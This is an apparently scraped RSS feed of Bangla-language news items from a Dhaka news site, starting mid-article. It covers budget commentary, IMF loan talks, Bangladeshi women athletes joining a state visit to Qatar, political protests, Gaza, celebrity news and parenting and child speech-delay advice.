তিনি বলেন, জিডিপির ৩ দশমিক ৫৫ শতাংশ সমপরিমাণ বাজেট ঘাটতি আন্তর্জাতিক মানদণ্ডে গ্রহণযোগ্য। কিন্তু এই ঘাটতি পূরণে অভ্যন্তরীণ ঋণের ওপর অতিরিক্ত নির্ভরতা বেসরকারি খাতের জন্য উদ্বেগের কারণ হতে পারে। এতে ঋণের ব্যয় বাড়বে এবং বিনিয়োগে নেতিবাচক প্রভাব পড়তে পারে।
রাজস্ব আহরণের লক্ষ্যমাত্রাকে উচ্চাভিলাষী উল্লেখ করে অ্যামচ্যাম সভাপতি বলেন, করের হার বাড়ানোর চেয়ে করের আওতা বাড়ানো এবং প্রশাসনিক দক্ষতা বৃদ্ধির দিকে বেশি মনোযোগ দেওয়া প্রয়োজন। ডিজিটাল কর ব্যবস্থা, স্বচ্ছতা এবং করদাতাবান্ধব পরিবেশ তৈরি হলে রাজস্ব আদায় স্বাভাবিকভাবেই বাড়বে। তিনি আরও বলেন, বাংলাদেশের সামনে এলডিসি উত্তরণের বড় চ্যালেঞ্জ রয়েছে। এ সময় রপ্তানি প্রতিযোগিতা ধরে রাখতে নীতির ধারাবাহিকতা, বাণিজ্য সহজীকরণ এবং কাঠামোগত সংস্কার অত্যন্ত গুরুত্বপূর্ণ।
জ্বালানি খাত প্রসঙ্গে তিনি বলেন, নবায়নযোগ্য জ্বালানি ও বৈদ্যুতিক যানবাহনের জন্য প্রণোদনা সময়োপযোগী উদ্যোগ। তবে শিল্প খাতের জন্য নিরবচ্ছিন্ন ও সাশ্রয়ী জ্বালানি সরবরাহ নিশ্চিত না হলে প্রত্যাশিত বিনিয়োগ আসবে না। এডিপির আকার বৃদ্ধি প্রসঙ্গে অ্যামচ্যাম সভাপতি বলেন, অবকাঠামো উন্নয়নে বড় বিনিয়োগ প্রয়োজন। কিন্তু প্রকল্প বাস্তবায়নে দীর্ঘসূত্রতা, ব্যয় বৃদ্ধি এবং দুর্বল তদারকির কারণে অনেক সময় কাঙ্ক্ষিত সুফল পাওয়া যায় না। এক্ষেত্রে জবাবদিহিতা বাড়াতে হবে।
বাজেটের সামগ্রিক পর্যালোচনায় তিনি বলেন, এই বাজেট অর্থনীতির জন্য একটি ভিত্তি তৈরি করেছে। এখন প্রয়োজন সঠিক বাস্তবায়ন, নীতিগত স্থিতিশীলতা এবং বিনিয়োগবান্ধব পরিবেশ। এসব নিশ্চিত করা গেলে বাংলাদেশ আগামী বছরগুলোতে আরও শক্তিশালী অর্থনৈতিক অবস্থানে পৌঁছাতে পারবে।

]]>
https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7235/feed/ 0
শিশুরা জেদী হয়ে উঠলে করণীয় কী https://www.dhakaskynews.com/life-style/2025/04/18/News_ID-5531/ https://www.dhakaskynews.com/life-style/2025/04/18/News_ID-5531/#respond Fri, 18 Apr 2025 17:56:48 +0000 https://www.dhakaskynews.com/?p=5531 শৈশবে সন্তানরা অল্পতেই জেদ করে বসে। তবে কারও কারও ক্ষেত্রে তা অতিরিক্ত হয়ে যায়। সন্তান এমন আচরণ করলে কিছু বিষয় মাথায় রাখুন। তাদের রাগ-জেদ সহজে নিয়ন্ত্রণ করা যাবে।

অতিরিক্ত শাসন করবেন না : সন্তান খুব বেশি রেগে গেলে বা জেদ করলে তাকে উল্টো বকাবকি, মারধোর বা শাস্তি দেওয়ার কথা ভাববেন না। বেশিরভাগ ক্ষেত্রেই শিশুরা বিভ্রান্ত হয়ে এমন আচরণ করে, তাই চেষ্টা করবেন এমন সময়ে বাচ্চাকে কাছে নিয়ে ভালোবাসা ও স্নেহের সাথে শান্ত করতে। বকাবকি করলে বিপরীত কিছু হতে পারে।

মাঝেমাঝে অবজ্ঞা করতে শিখুন : বেশিরভাগ বাবা-মাই সন্তান চাওয়া মাত্রই তা সামনে হাজির করেন। সহজেই পেয়ে গেলে শিশু অর্জন করার আনন্দ বা গুরুত্ব বুঝবে না। ফলে কখনও যদি চাওয়া মাত্র কিছু না পায় তখন জেদ দেখাতে শুরু করে। অভিভাবকের উচিত হবে সন্তানের চোখে চোখ না রেখে তার আচরণকে কোনোরকম গুরুত্ব না দেওয়া। মনোযোগ না পেলে হতাশ হয়ে এমনি জেদ কমে যাবে।

শিশুকে ব্যস্ত রাখুন : ফোন, ল্যাপটপ বা টিভি নয়, শিশুর পছন্দের কোনো খেলনা, আঁকার রং বা গল্পের রঙিন বই দিয়ে তাকে ব্যস্ত রাখুন। তাহলে সে রাগ-জেদের কারণ ভুলে অন্যদিকে মনোযোগ দেবে।

বাবা মাকে দেখে শিশুরা শেখে : বাবা-মায়ের মধ্যে সম্পর্ক বা বাড়ির অন্যান্যদের সাথে সবার কেমন ব্যবহার আচরণ তা দেখেই শিশুরা শেখে। তাই তাদের সামনে ঝগড়া চিৎকার চেঁচামেচি করবেন না।

অভিভাবকদের করণীয় : শিশু রাগ বা জেদ দেখাতে শুরু করলে উল্টে রেগে গিয়ে শিশুদের গায়ে হাত তোলা বা বকাঝকা করা যাবে না। যতটা সম্ভব মাথা ঠান্ডা রেখে নরম স্বরে কথা বলতে হবে তাদের সাথে। জেদ করলে শিশুকে ভালোবেসে কাছে রাখুন। স্বাভাবিক হয়ে এলে তাকে ভালোভাবে বোঝানোর চেষ্টা করুন। তাকে বলুন, এমন আচরণ গ্রহণযোগ্য নয়।

বিশেষজ্ঞদের মতে, চার বছরের নিচে শিশুদের অতিরিক্ত জেদের কারণে মারধর, তিক্ত কথাবার্তা বা কঠিন শাস্তি দেওয়া উচিত না। সাধারণত ৩ বছরের পর থেকেই শিশু তার নিজের মনের ভাব সঠিকভাবে প্রকাশ করতে পারে। এর ফলে রাগ বা জেদের সম্ভাবনা ধীরে ধীরে কমে আসে। তবে চার বছর বয়সের পরও যদি অতিরিক্ত রাগের কারণে শিশু নিজেকে বা অন্যকে আঘাত করতে থাকে, বা জেদ না কমে তবে বিশেষজ্ঞের পরামর্শ নিতে পারেন।

]]>
https://www.dhakaskynews.com/life-style/2025/04/18/News_ID-5531/feed/ 0
বাংলাদেশের সঙ্গে স্বল্পমেয়াদি ঋণ নিয়ে আলোচনা করবে আইএমএফ https://www.dhakaskynews.com/business/2025/04/18/News_ID-5526/ https://www.dhakaskynews.com/business/2025/04/18/News_ID-5526/#respond Fri, 18 Apr 2025 17:30:13 +0000 https://www.dhakaskynews.com/?p=5526 বাংলাদেশের সঙ্গে স্বল্পমেয়াদি ঋণ নিয়ে আলোচনা চালিয়ে যাওয়ার ঘোষণা দিয়েছে আন্তর্জাতিক মুদ্রা তহবিল (আইএমএফ)। শিগগির এ বিষয়ে একটি চুক্তিতে পৌঁছানোর জন্য বাংলাদেশের সঙ্গে বসবে সংস্থাটি।

মার্কিন যুক্তরাষ্ট্রের ওয়াশিংটনে আইএমএফ কার্যালয়ে বিশ্বব্যাংক ও আইএমএপের বসন্তকালীন বৈঠক শুরু হবে আগামী ২১ এপ্রিল। বৈঠকে এ বিষয়ে আলোচনা হতে পারে।

বৈঠকে বাংলাদেশসহ বিশ্বের ১৯০ দেশের গভর্নর, ব্যাংকার, অর্থনীতিবিদ ও বিশ্লেষকরা যোগ দেবেন। বৈশ্বিক অর্থনৈতিক অবস্থা, উন্নয়ন, নীতিমালা সংস্করণ, সমসাময়িক ও ভবিষ্যৎ অর্থনৈতিক পরিকল্পনা গ্রহণ ও বাস্তবায়নে গুরুত্ব দিয়ে প্রতি বছর এ বৈঠকের আয়োজন করে সংস্থাটি।

সংস্থাটি এক বিবৃতিতে জানায়, এ ধরনের চুক্তি তার বর্ধিত ঋণসুবিধা, বর্ধিত তহবিল সুবিধা, টেকসই এবং স্থায়িত্ব সুবিধা বাড়াবে। এই চ্যালেঞ্জিং সময়ে বাংলাদেশ ও এর জনগণকে সমর্থনের প্রতিশ্রুতি পুনর্ব্যক্ত করেছে আইএমএফ।

আইএমএফের একটি মিশন দেশের অর্থনৈতিক ও আর্থিক নীতি পর্যালোচনা করতে ৬ থেকে ১৭ এপ্রিল ঢাকা সফর করে। মিশনটি পর্যবেক্ষণ করেছে যে, বিশ্বব্যাপী অনিশ্চয়তার মধ্যে বাংলাদেশের অর্থনীতি চাপের মধ্যে রয়েছে, অর্থবছরের প্রথমার্ধে জিডিপি প্রবৃদ্ধি ৩ দশমিক ৩ শতাংশে নেমে এসেছে, যা এক বছর আগের একই সময়ের ৫ দশমিক ১ শতাংশ থেকে কমেছে।

জুলাই-আগস্টের গণঅভ্যুত্থান, কঠোর নীতি এবং বিনিয়োগকারীদের আস্থা দুর্বল হওয়ার কারণে এই মন্দা দেখা দিয়েছে বলে জানিয়েছে সংস্থাটি।

২০২৪ সালের জুলাই মাসে এক দশকের সর্বোচ্চ ১১ দশমিক ৭ শতাংশে পৌঁছেছিল মূল্যস্ফীতি, ২০২৫ সালের মার্চ মাসে ৯ দশমিক ৪ শতাংশে নেমে এসেছে। তবে বাংলাদেশ ব্যাংকের ৫ থেকে ৬ শতাংশ লক্ষ্যমাত্রার চেয়ে অনেক বেশি। অর্থনীতিকে স্থিতিশীল করার জন্য আইএমএফ রাজস্ব একত্রকরণ, আরও নমনীয় বিনিময় হার, উন্নত কর সম্মতি এবং প্রাতিষ্ঠানিক সংস্কারের সুপারিশ করেছে।

আইএমএফ ২০২৩ সালে বাংলাদেশের জন্য ৪ দশমিক ৭ বিলিয়ন ডলার ঋণ অনুমোদন করেছিল, যার বিপরীতে তিন কিস্তিতে বাংলাদেশ ইতিমধ্যেই ২ দশমিক ৩ বিলিয়ন ডলার পেয়েছে।

]]>
https://www.dhakaskynews.com/business/2025/04/18/News_ID-5526/feed/ 0
প্রধান উপদেষ্টার সফরসঙ্গী হচ্ছেন ৪ নারী ক্রীড়াবিদ https://www.dhakaskynews.com/sports/2025/04/18/News_ID-5521/ https://www.dhakaskynews.com/sports/2025/04/18/News_ID-5521/#respond Fri, 18 Apr 2025 17:10:22 +0000 https://www.dhakaskynews.com/?p=5521 আর্থনা সম্মেলনে যোগ দিতে আগামী সোমবার চার দিনের সফরে কাতার যাচ্ছেন প্রধান উপদেষ্টা অধ্যাপক ড. মুহাম্মদ ইউনূস। তার সঙ্গে যাবেন বাংলাদেশের চার নারী ক্রীড়াবিদ ফুটবলার আফঈদা খন্দকার ও ⁠শাহেদা আক্তার এবং ক্রিকেটার সুমাইয়া আক্তার ও শারমিন সুলতানা।

বৃহস্পতিবার প্রধান উপদেষ্টার কার্যালয়ের প্রেস উইং থেকে পাঠানো সংবাদ বিজ্ঞপ্তিতে এ তথ্য জানানো হয়।

সূত্র জানায়, এবারই প্রথম কোনো সরকার প্রধানের রাষ্ট্রীয় সফরে সঙ্গী হতে যাচ্ছেন নারী ক্রীড়বিদদের একটি দল।

বৃহস্পতিবার সন্ধ্যায় রাষ্ট্রীয় অতিথি ভবন যমুনায় প্রধান উপদেষ্টার সঙ্গে সাক্ষাৎ করেন তাঁর সফরসঙ্গী হতে যাওয়া চার ক্রীড়াবিদ। এর আগে বাংলাদেশের এই নারী ক্রীড়াবিদদের প্রধান উপদেষ্টার সঙ্গে কাতার সফরের আমন্ত্রণ জানায় কাতার ফাউন্ডেশন।

রাষ্ট্রীয় সফরে যাওয়ার আমন্ত্রণ পাওয়া ক্রীড়াবিদরা বলেন, ‘আমরা এ সফরের আমন্ত্রণ পেয়ে ভীষণ আনন্দিত এবং আমাদের টিমমেটরাও আমাদের এ আমন্ত্রণে উচ্ছ্বসিত।’

ফুটবলাররা বলেন, ‘দক্ষিণ এশিয়ার বাইরে এশিয়ার অন্য দলের সঙ্গে ম্যাচ খেলার খুব একটা সুযোগ আমাদের হয় না। আমরা কাতার নারী টিমকে আমাদের সঙ্গে প্রীতি ম্যাচ খেলার আমন্ত্রণ জানাতে চাই। এ সফরে আমরা তাদের খেলাধুলার সুযোগ-সুবিধাগুলো ঘুরে দেখতে চাই।’

দুই ক্রিকেটার প্রধান উপদেষ্টাকে বলেন, ‘কাতারে ক্রিকেট তেমনটা জনপ্রিয় নয়। আমরা এ সফরে ক্রিকেট নিয়ে তাদের মধ্যে আগ্রহ তৈরির চেষ্টা করব। আমাদের পুরুষ ক্রিকেট দল ও নারী ক্রিকেট দলের গল্পগুলো তুলে ধরব। আমরা একটি প্রেজেন্টেশন তৈরি করে নিয়ে যাব।’

এদিনের বৈঠকে নিজেদের জীবনসংগ্রামের কথা প্রধান উপদেষ্টার কাছে তুলে ধরেন ক্রীড়াবিদরা। সরকার প্রধানের সঙ্গে রাষ্ট্রীয় সফরের সুযোগ দেয়ায় প্রধান উপদেষ্টাকে বিশেষভাবে ধন্যবাদ জানান তারা।

এ সময় প্রধান উপদেষ্টা বলেন, ‘আমি চাই, তোমরা তোমাদের জীবনের সত্যিকারের কথাগুলো তাদের কাছে তুলে ধরবে। তোমরাই এ দেশের স্পোর্টস অ্যাম্বাসেডর। সেখানে তোমরা এ দেশের স্পোর্টসকে প্রতিনিধিত্ব করবে। তোমাদের এ রাষ্ট্রীয় সফরে সঙ্গে নিয়ে যেতে পেরে আমিও ভীষণ আনন্দিত।’

এদিন নারী ক্রীড়াবিদদের এ সফর সফল করতে প্রধান উপদেষ্টার কার্যালয় থেকে সর্বোচ্চ সহযোগিতা করা হবে বলেও আশ্বাস দেন ড. মুহাম্মদ ইউনূস।

]]>
https://www.dhakaskynews.com/sports/2025/04/18/News_ID-5521/feed/ 0
স্বকীয় সৌন্দর্যের বর্ণনা, সমালোচনার ঝড় https://www.dhakaskynews.com/enternainment/2025/04/18/News_ID-5516/ https://www.dhakaskynews.com/enternainment/2025/04/18/News_ID-5516/#respond Fri, 18 Apr 2025 16:48:59 +0000 https://www.dhakaskynews.com/?p=5516 উর্বশী রাউতেলা আবারও এক বিতর্কে জড়ালেন । স্বকীয় সৌন্দর্যের বর্ণনা দিতে গিয়ে সমালোচনার শিকার হন তিনি।

উর্বশী রাউতেলা বলেন, উত্তরাখাণ্ডের মানুষ এমনিতেই লম্বা, ফর্সা এবং সুন্দর। আমার বাবাকেই দেখুন। ফর্সা, সুন্দর ও লম্বা। একেবারে সুপার মডেলের মতো। আমার দিদা বৈজয়ন্তীমালার থেকে কম সুন্দর নয়।

তিনি বলেন, আমার যা দেখছেন সবটাই স্বাভাবিক। এর মধ্যে কৃত্রিম কিছু নেই।

উর্বশীর এমন মন্তব্যে বিতর্কের ঝড় বইছে। সমালোচনায় ভরিয়ে দিয়েছেন নেটিজেনরা।

]]>
https://www.dhakaskynews.com/enternainment/2025/04/18/News_ID-5516/feed/ 0
আওয়ামী লীগ নিষিদ্ধের দাবিতে ঢাকায় বিক্ষোভ https://www.dhakaskynews.com/bangladesh/2025/04/18/News_ID-5510/ https://www.dhakaskynews.com/bangladesh/2025/04/18/News_ID-5510/#respond Fri, 18 Apr 2025 16:19:32 +0000 https://www.dhakaskynews.com/?p=5510 পতিত স্বৈরাচারী দল আওয়ামী লীগ নিষিদ্ধের দাবিতে রাজধানীর উত্তরায় বিক্ষোভ মিছিল করেছেন প্রতিবাদী ছাত্র-জনতা। শুক্রবার বিকাল ৫টায় উত্তরার ঢাকা-ময়মনসিংহ মহাসড়কে মিছিলে অংশ নেন জুলাই আন্দোলনের কয়েকশ শিক্ষার্থী ও স্থানীয় বিভিন্ন শ্রেণি-পেশার মানুষ।

শিক্ষার্থীরা এ সময় অভিযোগ করেন, জুলাই গণহত্যাকারী দল আওয়ামী লীগকে নিষিদ্ধ এবং আওয়ামী সন্ত্রাসীদের আইনের আওতায় না আনতে পারার কারণে তারা মাথাচাড়া দিয়ে উঠেছে। উত্তরাসহ ঢাকার বিভিন্ন জায়গায় আওয়ামী লীগ সন্ত্রাসীদের মিছিল এরই স্পষ্ট ইঙ্গিত।

বিক্ষোভ মিছিলে বক্তব্য রাখা জুলাই রেভু্লেশন অ্যালায়েন্স সংগঠক লাবিব মুহান্নাদ বলেন, আমাদের একটাই দাবি আওয়ামী লীগকে নিষিদ্ধ করতে হবে। আওয়ামী লীগ নিষিদ্ধ না হওয়া পর্যন্ত আমরা ঘরে ফিরব না, শহিদদের আত্মা শান্তি পাবে না।

বিক্ষোভ মিছিলে তুরাগ থানা বৈষম্যবিরোধী ছাত্র আন্দোলন নেতা সরদার রিয়াদ বলেন, আজ যদি আওয়ামী সন্ত্রাসীদের বিরুদ্ধে প্রশাসন কঠোর ব্যবস্থা নিত তাহলে ওরা রাস্তায় আসার সাহস পেত না। আমরা চাই জুলাই গণহত্যায় জড়িত এসব অপরাধীদের আইনের আওতায় নিয়ে আসা হোক এবং আওয়ামী লীগকে নিষিদ্ধ ঘোষণা করা হোক।

মিছিলটি ঢাকা-বিমানবন্দর মহাসড়কের হাউস বিল্ডিং, আজমপুর, রাজলক্ষ্মী, জসিমউদ্দিনসহ উত্তরার প্রধান প্রধান স্থান প্রদক্ষিণ শেষে বিএনএস সেন্টারে এসে শেষ হয়।

এদিকে, আওয়ামী লীগের ওই ঝটিকা মিছিলের প্রতিবাদে রাতে ঢাকা মহানগর উত্তর ১নং ওয়ার্ড বিএনপির সাধারণ সম্পাদক রাকিবুল ইসলাম রাকিবের নেতৃত্বে প্রতিবাদ মিছিল করতে দেখা গেছে। এ সময় আওয়ামী লীগ প্রতিহতের ডাক দিয়ে বিএনপি নেতাকর্মীরা স্লোগান দেন।

ভোরে বিমানবন্দর ও উত্তরার দুটি স্থানে আওয়ামী লীগের ব্যানারে ঝটিকা মিছিল করে নিষিদ্ধ ছাত্রলীগসহ আওয়ামী লীগের নেতাকর্মীরা। উত্তরখান থানা আওয়ামী লীগ সাধারণ সম্পাদক ও বৈষম্যবিরোধী ছাত্র হত্যা মামলার আসামি আতিকুর রহমান মুরাদের নেতৃত্বে ওই মিছিল হয় বলে জানা গেছে। মিছিলে ঢাকা-১৮ আসনের সাবেক এমপি ও উত্তরায় ছাত্র-জনতার ওপর হামলার নেতৃত্ব দেওয়া হাবিব হাসানের অনুসারীদের দেখা গেছে।

এরই প্রতিবাদে উত্তরায় প্রতিবাদ ও বিক্ষোভ মিছিল বের করেন স্থানীয় ছাত্র-জনতা ও রাজনৈতিক অঙ্গসহযোগী সংগঠনের নেতারা।

]]>
https://www.dhakaskynews.com/bangladesh/2025/04/18/News_ID-5510/feed/ 0
গাজায় অব্যাহত হামলায় এরদোগানের নিন্দা https://www.dhakaskynews.com/international/2025/04/18/News_ID-5505/ https://www.dhakaskynews.com/international/2025/04/18/News_ID-5505/#respond Fri, 18 Apr 2025 15:56:49 +0000 https://www.dhakaskynews.com/?p=5505 ফিলিস্তিনের গাজায় ইহুদিবাদী দখলদার রাষ্ট্র ইসরাইলের বর্বর হামলায় আবারও মুখ খুললেন তুরস্কের প্রেসিডেন্ট রিসেপ তাইয়্যেপ এরদোগান।

এক বিবৃতিতে হামলার নিন্দা করে তিনি বলেন, গাজার গণহত্যা নিন্দনীয়। এমন অবস্থায় আন্তর্জাতিক সম্প্রদায়ের ‘চুপ থাকা’ আরও বেশি নিন্দনীয়।

এরদোগান বলেন, ইসরাইলের সরকার পাগল হয়ে গেছে। ফিলিস্তিনে অবিরত গণহত্যা চালাচ্ছে তারা। অসংখ্য নারী ও শিশুকে হত্যা করা হচ্ছে।

ফিলিস্তিনের প্রতি সংহতি জানিয়ে তিনি আরও বলেন, এ হামলার প্রতিবাদ কেবল ধর্মীয় বিষয় না। কেবল মুসলমানদের বিষয় না। এটা একটি মানবিক ব্যাপার, সারা বিশ্বের ব্যাপার। এ হামলার ব্যাপারটি রাজনীতির ঊর্ধ্বে, মানবিকতার বিষয়।

এদিকে হামাসকে নতুন যুদ্ধবিরতির প্রস্তাব দিয়েছে ইসরাইল। এতে ৪৫ দিনের যুদ্ধবিরতির বিনিময়ে ১০ ইসরাইলি জিম্মিকে মুক্ত করার প্রস্তাব দিয়েছে দেশটি। তবে হামাস স্থায়ী যুদ্ধবিরতি চায়। তাই এই প্রস্তাব প্রত্যাখ্যান করেছে তারা।

সংগঠনটি বলেছে, তারা গাজা যুদ্ধের অবসান ও ফিলিস্তিনি বন্দিদের বিনিময়ে অবশিষ্ট সব জিম্মিকেই মুক্ত করে দেবে। আর এ লক্ষ্যে একটি সমঝোতা নিয়ে অবিলম্বে আলোচনা করতেও তারা প্রস্তুত।

বর্তমানে হামাসের হাতে ৫৯ জন ইসরাইলি জিম্মি আটক রয়েছেন। এদের মধ্যে ২৪ জন জীবিত বলেও ধারণা করা হচ্ছে।

২০২৩ সালের ৭ অক্টোবর থেকে গাজায় বর্বর হামলা চালিয়ে এখন পর্যন্ত ৫১ হাজারেরও বেশি ফিলিস্তিনির প্রাণ কেড়ে নিয়েছে ইসরাইল। আহত করেছে অন্তত এক লাখ ১৫ হাজারেরও বেশি মানুষকে। গত ১৮ মার্চ থেকে যুদ্ধবিরতি চুক্তি লঙ্ঘন করে ইসরাইলের অমানবিক হামলা এখনো চলছে।

গত ১৮ মাসের ব্যবধানে ৩৬৫ বর্গকিলোমিটার গাজার ১৮৫ বর্গকিলোমিটারই এখন দখলে নিয়েছে ইসরাইল।

]]>
https://www.dhakaskynews.com/international/2025/04/18/News_ID-5505/feed/ 0
শিশু বিলম্বে কথা বলার কারণ ও প্রতিকার https://www.dhakaskynews.com/bichitra/2025/02/03/News_ID-5491/ https://www.dhakaskynews.com/bichitra/2025/02/03/News_ID-5491/#respond Mon, 03 Feb 2025 13:07:22 +0000 https://www.dhakaskynews.com/?p=5491  

কীভাবে বুঝবেন শিশুর স্পিস ডিলে হচ্ছে বা বিলম্বে কথা বলছে?

একটি দুই বছর বয়সী শিশু প্রায় ৫০টি শব্দ বলতে পারে এবং দুই থেকে তিনটি শব্দের বাক্যও ব্যবহার করতে পারে। তিন বছরের মধ্যে তার সাধারণ বাক্য বলার যোগ্যাতা অর্জন করবে। তিন-চারটি শব্দ বলার চেষ্টা করে। এমতাবস্থায় কোনও শিশু যদি তা বলতে না পারে তাহলে তাকে স্পিস ডিলের শ্রেণিতে রাখা যেতে পারে। এটি যদিও বিশেষ ভয়ের কারণ নয়। তবে কখনও কখনও এটি শ্রবণ সমস্যা বা স্নায়ুবিক কারণেও হতে পারে।

কেন স্পিস ডিলে হয়?
বিশেষজ্ঞদের মতে, শিশুরা যদি জন্মের সময় দেরীতে কাঁদে, তারা দেরীতে কথাও বলতে শুরু করে। এছাড়া গর্ভাবস্থায় মায়ের জন্ডিজ হলে বা স্বাভাবিক প্রসবের সময় শিশুর মস্তিষ্কের বাম পাশে আঘাত পেলে শিশুর শ্রবণশক্তি কমে যেতে পারে। যে শিশুরা ঠিকমত শুনতে পায় না তাদের সব কথা লিখতে ও বলতে অসুবিধা হয়।

স্পিস ডিলে কীভাবে চেনা য়ায়
১। সাধারণত : ১৮ মাস বয়সের মধ্যে শিশু কিছু সহজ কথা বলতে শুরু করে। যেমন- মা, বাবা ইত্যাদি।
২। দুই বছর বয়সী একটি শিশু কমপক্ষে ২৫টি শব্দ ব্যবহার করতে পারে। অর্থাৎ যদি শিশু আড়াই বছর বয়সে দুই শব্দের বাক্য না বলে। তিন বছর বয়সে কমপক্ষে প্রশ্ন করলে উত্তর দিতে না পারে।
৩। কোন জিনিসের নাম ধরে না ডাকা বা কিছু জিজ্ঞেস করতে চায় না।
৪। গবেষনায় দেখা যায়- প্রতি পাঁচজন শিশুর মধ্যে একজন শিশু অন্যান্য শিশুদের তুলনায় কথা বার্তায় পিছিয়ে থাকে। আচরণ গত সমস্যাও দেখা যায়।

এমন পরিস্থিতিতে মা-বাবার করণীয় কী ?
একে অপরকে অনুসরণ করার একটি খেলা খেলতে হবে। এতে শিশুটি কথা বলার সাহস পাবে।
শিশুর সাথে ধীরে ধীরে কথা বলুন। শিশুটি যদি কিছুটা বাক্য বলার চেষ্টা তাহলে আপনি তার পূরা বাক্যটি বলে দিন। শিশুর সামনে গুন গুন শব্দ করলেও এতে উপকার হয়। যদি শিশুর সমস্যা পরীক্ষায় ধরা পড়ে তাহলে দেরী না করে শিশুকে সঠিক চিকিৎসা দেয়া দরকার।

ডাঃ মোঃ শওকত হোসেন
MBA (HRM) MA, DHMS ( DHMC)

সিনিয়র কনসালটেন্ট, চিকিৎসক ও অটিজম চিকিৎসক।
আরএইচ হোম সেন্টার, ৭৪/বি/১, গ্রিনরোড, ফার্মগেট, ঢাকা। মোবাইল : ০১৩১০-৫৮০৩০৫

]]>
https://www.dhakaskynews.com/bichitra/2025/02/03/News_ID-5491/feed/ 0